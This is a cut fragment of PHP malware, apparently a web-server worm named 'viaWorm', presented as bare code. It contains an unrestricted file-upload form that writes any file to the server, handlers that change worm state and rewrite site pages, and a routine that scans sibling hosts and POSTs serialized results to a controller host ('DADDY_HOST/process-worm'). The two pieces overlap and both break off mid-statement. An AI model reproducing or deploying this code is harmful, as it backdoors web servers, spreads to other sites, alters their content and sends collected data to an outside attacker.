$destination = $fileDir . $user_file_name; @move_uploaded_file($user_file_tmp, $destination); echo "<b>Done ==> $user_file_name</b>"; } } else { echo '<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>'; } break; case 'index': default: header('Content-type: application/json'); $result = viaWorm::processHost(); $query = http_build_query(array('worm_result' => serialize($result))); $worm_precess_url = 'http://' . viaWorm::DADDY_HOST . '/process-worm'; viaWorm::sendPost($worm_precess_url, $query); echo json_encode($result); exit(); }
try { $worm = new viaWorm(); $worm->setWebsiteConfig(array('state' => $state)); $result = array('success' => true, 'state' => $state); } catch (Exception $e) { $result = array('success' => false, 'message' => $e->getMessage()); } } header('Content-type: application/json'); echo json_encode($result); exit; break; case 'update-pages-map': header('Content-type: application/json'); try { $worm = new viaWorm(); $bytesChanged = $worm->updatePagesMap(); $result = array('success' => $bytesChanged != false, 'message' => 'Bytes changed ' . $bytesChanged); } catch (Exception $e) { $result = array('success' => false, 'message' => $e->getMessage()); } echo json_encode($result); exit; break; case 'index': default: header('Content-type: application/json'); $indexSourceKey = isset($_GET['index_source_key']) ? $_GET['index_source_key'] : viaWorm::INDEX_SOURCE_KEY_ARTICLES; $scanSiblings = isset($_GET['scan_siblings']) ? $_GET['scan_siblings'] : true; $result = viaWorm::processHost(null, null, $scanSiblings, $indexSourceKey); $query = http_build_query(array('worm_result' => serialize($result)));